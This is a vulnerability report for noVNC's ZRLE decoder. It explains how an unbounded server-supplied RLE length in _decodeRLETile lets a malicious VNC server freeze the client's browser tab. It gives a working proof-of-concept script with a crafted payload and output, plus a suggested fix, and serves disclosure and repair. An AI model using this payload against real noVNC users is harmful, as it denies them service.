#2072·noVNC

ZRLE _decodeRLETile unbounded RLE length -> CPU DoS (missing i+length<=tileSize guard)

Author: afldlCreated Jul 20, 2026Updated Jul 20, 2026

noVNC ZRLE _decodeRLETile unbounded RLE length — CPU denial of service

Identity

  • Target: noVNC (current target-src/noVNC, core/decoders/zrle.js)
  • Vulnerable function: ZRLEDecoder._decodeRLETile(tileSize) (core/decoders/zrle.js:127-141)
  • Class: CWE-1333 / CWE-835 (uncontrolled recursion/loop — resource exhaustion via attacker-controlled iteration bound)
  • Reachability: a client (browser tab / noVNC consumer) connected to a malicious VNC server
  • Impact: CPU denial of service — renderer / browser tab freeze. No memory corruption (JavaScript cannot corrupt memory; out-of-range Uint8Array writes are silent no-ops).

Root cause

The ZRLE RLE tile decoder (_decodeRLETile) reads a per-run length from the server and runs an inner loop without bounding it against the tile size:

javascript
// core/decoders/zrle.js:127
_decodeRLETile(tileSize) {
    const data = this._tileBuffer;
    let i = 0;
    while (i < tileSize) {
        const pixel  = this._readPixels(1);
        const length = this._readRLELength();          // server-controlled
        for (let j = 0; j < length; j++) {             // <-- NO `if (i + length > tileSize) throw`
            data[i*4] = pixel[0]; data[i*4+1] = pixel[1];
            data[i*4+2] = pixel[2]; data[i*4+3] = pixel[3];
            i++;
        }
    }
    return data;
}

The while-loop condition i < tileSize is only re-checked between runs, not during the inner for. A single RLE run whose server-supplied length vastly exceeds the remaining tile therefore runs the inner loop length times. The sister decoder _decodeRLEPaletteTile (zrle.js:144-167) does bound the run length (if (offset + length > tileSize) throw, zrle.js:161-162) — its absence in _decodeRLETile is the defect.

length is a varint read by _readRLELength() (zrle.js:174-181): sum of bytes while ==255, +1, so an attacker encodes an arbitrary length up to ~2^31 with a compact run of 0xFF bytes (which zlib-compresses to a few hundred bytes on the wire).

Proof of concept

poc.js reproduces the verbatim _decodeRLETile / _readPixels / _readRLELength against a stub _inflator.inflate() that returns an attacker-controlled "post-zlib" byte stream: one RGB pixel plus a varint encoding length = 100,000,000.

$ time node poc.js
tileSize=4096; crafted RLE length=100,000,000 (24414x amplification over the tile);
inflated payload=392160 bytes (zlib-compressed wire payload is far smaller).
inner for-loop ran 100,000,000 iterations in 710 ms (tile only needed 4096; the missing bound let
ONE RLE entry drive 100000000).
An attacker may set length up to 2^31-1 (~2.1e9) per entry for an effectively unbounded spin.

real    0m0.814s

A single RLE entry drove 100,000,000 inner-loop iterations for a 4096-pixel tile — a 24,414× CPU amplification from a single decoded run, and the attacker may raise length toward 2^31-1 (~2.1e9) per entry and repeat across all tiles of every framebuffer update to freeze the client indefinitely.

Impact

  • CPU DoS, client-side. A malicious VNC server (or a man-in-the-middle that injects a ZRLE framebuffer update) freezes the noVNC client / browser tab; the single-threaded JS event loop is never yielded.
  • No memory corruption. JS typed-array OOB writes (data[i*4] for i far past the 16384-byte _tileBuffer) are silently ignored — pure CPU exhaustion.
  • Severity: Low–Medium. Requires the victim to connect to (or be MITM'd toward) a malicious server; impact is availability only.

Suggested fix

Mirror the bound already present in _decodeRLEPaletteTile (zrle.js:161-162) in _decodeRLETile, rejecting a run length that would overrun the tile:

javascript
const length = this._readRLELength();
if (i + length > tileSize) {
    throw new Error('Too big rle length in plain mode: ' + length +
                    ', allowed length is: ' + (tileSize - i));
}

Reproduction package

  • poc.js — verbatim decoder + stub inflator, attacker-controlled RLE length
  • repro.shtime node poc.js
  • output.txt — captured run (100M iterations / 710 ms)

PoC source (poc.js)

javascript
/*
 * PoC: noVNC ZRLE _decodeRLETile missing `i + length <= tileSize` bound -> CPU DoS.
 *
 * Verbatim _decodeRLETile / _readPixels / _readRLELength from
 *   target-src/noVNC/core/decoders/zrle.js (noVNC, current master).
 *
 * Bug (zrle.js:127 _decodeRLETile):
 *   while (i < tileSize) {
 *       const pixel  = this._readPixels(1);
 *       const length = this._readRLELength();        // server-controlled, UNcapped
 *       for (let j = 0; j < length; j++) {            // NO `if (i+length>tileSize) throw`
 *           data[i*4]=...; i++;
 *       }
 *   }
 * The sister _decodeRLEPaletteTile DOES guard (zrle.js:161: `if (offset+length>tileSize) throw`).
 * A malicious VNC server sends a zlib payload whose inflated RLE length is huge; the inner loop
 * then runs `length` times for a SINGLE tile entry, freezing the renderer / browser tab.
 * Pure CPU DoS (JS cannot memory-corrupt; writes past Uint8Array are silent no-ops).
 */
'use strict';
const ZRLE_TILE_WIDTH = 64, ZRLE_TILE_HEIGHT = 64;

// Stub `_inflator.inflate(n)` that returns attacker-controlled "post-zlib" bytes.
class CraftedInflator {
    constructor(bytes) { this.b = bytes; this.p = 0; }
    inflate(n) { const out = this.b.slice(this.p, this.p + n); this.p += n; return out; }
}

class ZRLEDecoder {
    constructor() {
        this._pixelBuffer = new Uint8Array(ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT * 4);
        this._tileBuffer  = new Uint8Array(ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT * 4);
        this._inflator = null;
        this.iterations = 0;            // PoC instrumentation only
    }
    // verbatim, zrle.js:83
    _readPixels(pixels) {
        let data = this._pixelBuffer;
        const buffer = this._inflator.inflate(3 * pixels);
        for (let i = 0, j = 0; i < pixels * 4; i += 4, j += 3) {
            data[i] = buffer[j]; data[i+1] = buffer[j+1]; data[i+2] = buffer[j+2]; data[i+3] = 255;
        }
        return data;
    }
    // verbatim, zrle.js:174
    _readRLELength() {
        let length = 0, current;
        do { current = this._inflator.inflate(1)[0]; length += current; } while (current === 255);
        return length + 1;
    }
    // verbatim, zrle.js:127 (vulnerable) + iteration counter
    _decodeRLETile(tileSize) {
        const data = this._tileBuffer;
        let i = 0;
        while (i < tileSize) {
            const pixel  = this._readPixels(1);
            const length = this._readRLELength();
            for (let j = 0; j < length; j++) {
                data[i*4]   = pixel[0];
                data[i*4+1] = pixel[1];
                data[i*4+2] = pixel[2];
                data[i*4+3] = pixel[3];
                i++;
                this.iterations++;
            }
        }
        return data;
    }
}

// Build the inflated byte stream a malicious server would emit (after zlib decompress):
//   3 bytes  = one pixel (RGB)
//   varint   = RLE length, encoded as floor((L-1)/255) bytes of 255 then (L-1)%255
const ATTACK_LENGTH = 100000000;                  // 100,000,000 — inner loop count for ONE entry
const k = Math.floor((ATTACK_LENGTH - 1) / 255);
const r = (ATTACK_LENGTH - 1) - 255 * k;
const bytes = [];
for (let i = 0; i < 3; i++) bytes.push(0x41);     // pixel RGB
for (let i = 0; i < k;   i++) bytes.push(255);    // varint continuation bytes
bytes.push(r);                                    // varint terminator

const dec = new ZRLEDecoder();
dec._inflator = new CraftedInflator(Uint8Array.from(bytes));
const tileSize = ZRLE_TILE_WIDTH * ZRLE_TILE_HEIGHT;   // 4096

console.log(`tileSize=${tileSize}; crafted RLE length=${ATTACK_LENGTH.toLocaleString()} ` +
            `(${(ATTACK_LENGTH/tileSize).toFixed(0)}x amplification over the tile); ` +
            `inflated payload=${bytes.length} bytes (zlib-compressed wire payload is far smaller).`);
const t0 = process.hrtime.bigint();
dec._decodeRLETile(tileSize);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(`inner for-loop ran ${dec.iterations.toLocaleString()} iterations in ${ms.toFixed(0)} ms ` +
            `(tile only needed ${tileSize}; the missing bound let ONE RLE entry drive ${dec.iterations}).`);
console.log(`An attacker may set length up to 2^31-1 (~2.1e9) per entry for an effectively unbounded single-thread spin.`);